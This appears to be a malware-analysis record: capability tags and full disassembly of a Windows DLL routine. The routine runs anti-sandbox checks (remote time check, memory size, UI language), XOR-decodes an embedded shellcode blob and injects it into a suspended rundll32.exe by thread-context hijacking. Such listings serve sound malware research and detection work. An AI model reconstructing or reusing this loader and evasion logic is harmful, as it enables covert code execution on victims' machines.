Function at 0x180011740
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get memory capacity
Identify system language via api
Initialize winsock library
Resume thread
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x6a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x620], 0xfffffffffffffffe
cmp edx, 1
jne 0x180012050
lea rdx, [rbp - 0x30]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1800117a4
lea rsi, [0x18005e840]
lea rdx, str.Failed_to_initialize_Winsock.
mov rcx, rsi
call fcn.1800055e0
mov rcx, rsi
call fcn.180005dd0
jmp 0x180012050
mov qword [rbp + 0x5b0], 0
mov qword [rbp + 0x5b8], recv
mov qword [rbp + 0x5c0], recv
movabs rax, 0x30312e39362e3138
mov qword [rbp + 0x5a8], rax
mov dword [rbp + 0x5b0], 0x39342e34
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x590], 2
mov qword [rbp + 0x598], recv
mov word [rbp + 0x580], 0x3038
mov qword [rbp + 0x558], 0
mov ecx, 0x20
call fcn.18001d5d0
mov qword [rbp + 0x550], rax
mov qword [rbp + 0x560], reloc.WS2_32.dll_recv
mov qword [rbp + 0x568], 0x1f
movdqu xmm0, xmmword [str._api_server__stm]
movdqu xmmword [rax], xmm0
mov qword [rbp + 0x578], rax
mov byte [rax + 0x10], 0
lea rcx, [rbp + 0x5e0]
lea rdx, [rbp + 0x5a8]
lea r8, [rbp + 0x580]
lea r9, [rbp + 0x550]
call fcn.180004e80
cmp qword [rbp + 0x5f0], 0
je 0x180011aad
lea rcx, [rbp + 0x5e0]
call fcn.18000a490
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180011aad
call fcn.18001d358
mov rbx, rax
call fcn.18001d33c
movabs r14, 0xb2f4fc0794908cf3
cmp rbx, 0x989680
jne 0x180012069
imul rdx, rax, 0x64
add rdi, 0x12c
movabs rax, 0x45d964b800
add rax, rdx
movabs rcx, 0x7fffffba269b47ff
cmp rdx, rcx
movabs rsi, 0x7fffffffffffffff
cmovl rsi, rax
movabs r15, 0x4e94914f0000
movabs r12, 0x431bde82d7b634db
jmp 0x18001193a
mov rax, r8
imul r12
mov rax, rdx
shr rax, 0x3f
sar rdx, 0x12
add rax, rdx
imul rdx, rax, 0xf4240
xor ecx, ecx
cmp rdx, r8
setl cl
add ecx, eax
call sub.KERNEL32.dll_Sleep
call fcn.18001d358
mov rbx, rax
call fcn.18001d33c
cmp rbx, 0x989680
jne 0x180011971
imul rdx, rax, 0x64
mov r8, rsi
sub r8, rdx
jle 0x180011a0b
cmp r8, r15
jl 0x180011910
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x18001193a
mov rcx, rax
cmp rbx, 0x16e3600
jne 0x1800119c5
imul r14
mov r8, rdx
add r8, rcx
mov rax, r8
shr rax, 0x3f
sar r8, 0x18
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rcx
imul r14
imul rax, r8, 0x3b9aca00
add rdx, rcx
mov rcx, rdx
shr rcx, 0x3f
sar rdx, 0x18
add rdx, rcx
jmp 0x180011a03
or rcx, rbx
shr rcx, 0x20
je 0x1800119d8
cqo
idiv rbx
mov rcx, rax
jmp 0x1800119de
xor edx, edx
div ebx
mov ecx, eax
imul rax, rdx, 0x3b9aca00
mov rdx, rbx
or rdx, rax
shr rdx, 0x20
je 0x1800119f8
cqo
idiv rbx
jmp 0x1800119fc
xor edx, edx
div ebx
imul rdx, rcx, 0x3b9aca00
add rdx, rax
jmp 0x180011954
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x5a8]
lea r8, [rbp + 0x580]
lea r9, [rbp + 0x550]
call fcn.180004e80
mov rax, qword [rbp + 0x5f8]
cmp rax, 0x10
jb 0x180011a6e
mov rcx, qword [rbp + 0x5e0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180011a69
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180012109
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.18001d614
movups xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x5f0], xmm1
movaps xmmword [rbp + 0x5e0], xmm0
lea rcx, [rbp + 0x5e0]
call fcn.18000a490
cmp rax, 0xffffffffffffffff
je 0x180011aad
sub rdi, rax
mov rax, rdi
neg rax
cmovs rax, rdi
cmp rax, 0xb
jae 0x18001210e
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [rbp + 0x4a0], 0x40
lea rcx, [rbp + 0x4a0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x4a8]
shr rax, 0x14
cmp eax, 0xc17
ja 0x180011aee
pop rax
push rbx
je 0x180011ae2
je 0x180011ae7
and dword [rcx + rsi], esi
xor dh, byte [rbx]
pop rbx
and dword [rcx + rsi], esi
xor dh, byte [rbx]
push rax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
and eax, 0x3ff
cmp ax, 4
je 0x180011b30
lea rcx, [0x18005e970]
lea rdx, [0x1800509bc]
call fcn.1800055e0
lea rcx, [0x18005e970]
call fcn.180005dd0
pop rax
push rbx
je 0x180011b24
je 0x180011b29
and dword [rcx + rsi], esi
xor dh, byte [rbx]
pop rbx
and dword [rcx + rsi], esi
xor dh, byte [rbx]
push rax
call fcn.180012210
mov ecx, 0x115
call fcn.1800295dc
mov rsi, rax
xor eax, eax
lea rcx, [0x18004d8f0]
nop dword [rax + rax]
movzx edx, byte [rcx + rax*8]
movzx r8d, byte [rcx + rax*8 + 2]
mov byte [rsi + rax*4], dl
mov byte [rsi + rax*4 + 1], r8b
movzx edx, byte [rcx + rax*8 + 4]
mov byte [rsi + rax*4 + 2], dl
movzx edx, byte [rcx + rax*8 + 6]
mov byte [rsi + rax*4 + 3], dl
inc rax
cmp rax, 0x45
jne 0x180011b50
mov byte [rsi + rax*4], 0
mov eax, 7
mov r8d, 6
mov r9d, 5
mov r11d, 4
mov edi, 3
mov ebx, 2
mov r13d, 1
xor r15d, r15d
nop dword [rax + rax]
mov qword [rbp + 0x610], rbx
mov qword [rbp + 0x570], r11
mov qword [rbp + 0x608], r9
mov qword [rbp + 0x600], r8
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
movabs rcx, 0x2492492492492493
mul rcx
mov r10, rcx
mov rcx, qword [rbp + 0x618]
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 2
lea rax, [rcx*8]
sub rcx, rax
mov rax, r8
mul r10
mov r8, qword [rbp + 0x600]
sub r8, rdx
shr r8, 1
add r8, rdx
shr r8, 2
lea rax, [r8*8]
sub r8, rax
mov rax, r9
mul r10
mov r14, r10
mov r9, qword [rbp + 0x608]
sub r9, rdx
shr r9, 1
add r9, rdx
shr r9, 2
lea r10, [r9*8]
mov rax, r11
mul r14
sub r9, r10
mov r10, r11
sub r10, rdx
shr r10, 1
add r10, rdx
shr r10, 2
lea rax, [r10*8]
sub r10, rax
mov rax, rdi
mul r14
mov r11, rdi
sub r11, rdx
shr r11, 1
add r11, rdx
shr r11, 2
lea rax, [r11*8]
sub r11, rax
mov rax, rbx
mul r14
mov rbx, qword [rbp + 0x610]
sub rbx, rdx
shr rbx, 1
add rbx, rdx
shr rbx, 2
lea rax, [rbx*8]
sub rbx, rax
mov rax, r13
mul r14
mov r14, r13
sub r14, rdx
shr r14, 1
add r14, rdx
shr r14, 2
mov r12, rdi
mov rdi, rsi
lea rsi, [r14*8]
mov rax, r15
movabs rdx, 0x2492492492492493
mul rdx
sub r14, rsi
mov rsi, rdi
mov rdi, r12
mov rax, r15
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
lea rdx, [rax*8]
sub rax, rdx
lea r12, str.2024812
add r9, r12
add r10, r12
movzx edx, byte [r15 + r10 + 4]
movzx r9d, byte [r15 + r9 + 5]
shl r9d, 8
or r9d, edx
add r14, r12
add rax, r12
movzx eax, byte [r15 + rax]
movzx edx, byte [r15 + r14 + 1]
shl edx, 8
or edx, eax
add rbx, r12
movzx eax, byte [r15 + rbx + 2]
mov rbx, qword [rbp + 0x610]
shl eax, 0x10
or eax, edx
add r11, r12
movzx edx, byte [r15 + r11 + 3]
mov r11, qword [rbp + 0x570]
shl edx, 0x18
or edx, eax
movd xmm0, edx
pinsrw xmm0, r9d, 2
mov r9, qword [rbp + 0x608]
add rcx, r12
add r8, r12
movzx eax, byte [r15 + r8 + 6]
mov r8, qword [rbp + 0x600]
movzx ecx, byte [r15 + rcx + 7]
shl ecx, 8
or ecx, eax
mov rax, qword [rbp + 0x618]
pinsrw xmm0, ecx, 3
movq xmm1, qword [rsi + r15]
pxor xmm0, xmm1
movq qword [rsi + r15], xmm0
add rax, 8
add r15, 8
add r8, 8
add r9, 8
add r11, 8
add rdi, 8
add rbx, 8
add r13, 8
cmp r15, 0x110
jne 0x180011bb0
xor dword [rsi + 0x110], 0x32303232
xor byte [rsi + 0x114], 0x34
mov edx, 0x115
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8d, 0x115
mov rcx, rax
mov rdx, rsi
call fcn.180013d70
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x4e0], xmm0
movdqa xmmword [rbp + 0x4f0], xmm0
movdqa xmmword [rbp + 0x500], xmm0
movdqa xmmword [rbp + 0x510], xmm0
movdqa xmmword [rbp + 0x520], xmm0
movdqa xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], 0
mov dword [rbp + 0x4e0], 0x44
lea rax, [rbp + 0x5c8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x4e0]
mov qword [rsp + 0x40], rax
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 0
lea rdx, str.rundll32.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180011f5f
mov dword [rbp], 0x10003
mov rcx, qword [rbp + 0x5d0]
lea rdi, [rbp - 0x30]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rbp + 0x5c8]
mov dword [rsp + 0x20], 0x40
mov r8d, 0x115
xor edx, edx
mov r9d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
mov rcx, qword [rbp + 0x5c8]
mov qword [rsp + 0x20], 0
mov r9d, 0x115
mov rdx, rax
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rbp + 0xc8], r14
mov rcx, qword [rbp + 0x5d0]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x5d0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0x5d0]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rbp + 0x5c8]
call rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [rbp + 0x5f8]
cmp rax, 0x10
jb 0x180011fb5
mov rcx, qword [rbp + 0x5e0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180011fb0
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180012109
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.18001d614
mov edx, 0x20
mov rcx, qword [rbp + 0x578]
call fcn.18001d614
mov rax, qword [rbp + 0x598]
cmp rax, 0x10
jb 0x18001200b
mov rcx, qword [rbp + 0x580]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180012006
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180012109
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.18001d614
mov rax, qword [rbp + 0x5c0]
cmp rax, 0x10
jb 0x180012050
mov rcx, qword [rbp + 0x5a8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18001204b
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x180012109
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.18001d614
mov eax, 1
add rsp, 0x6a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rax
cmp rbx, 0x16e3600
jne 0x1800120c3
imul r14
mov r8, rdx
add r8, rcx
mov rax, r8
shr rax, 0x3f
sar r8, 0x18
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rcx
imul r14
imul rax, r8, 0x3b9aca00
add rdx, rcx
mov rcx, rdx
shr rcx, 0x3f
sar rdx, 0x18
add rdx, rcx
add rdx, rax
jmp 0x1800118c4
or rcx, rbx
shr rcx, 0x20
je 0x1800120d3
cqo
idiv rbx
jmp 0x1800120d7
xor edx, edx
div ebx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rbx
or rdx, rax
shr rdx, 0x20
je 0x1800120fb
cqo
idiv rbx
mov rdx, rax
jmp 0x180012101
xor edx, edx
div ebx
mov edx, eax
add rdx, rcx
jmp 0x1800118c4
call fcn.180027b08
lea rcx, [0x18005e840]
lea rdx, str.Time_difference_is_more_than_10_seconds._Exiting.
call fcn.1800055e0
lea rcx, [0x18005e840]
call fcn.180005dd0
mov ecx, 1
call fcn.1800267c8
int3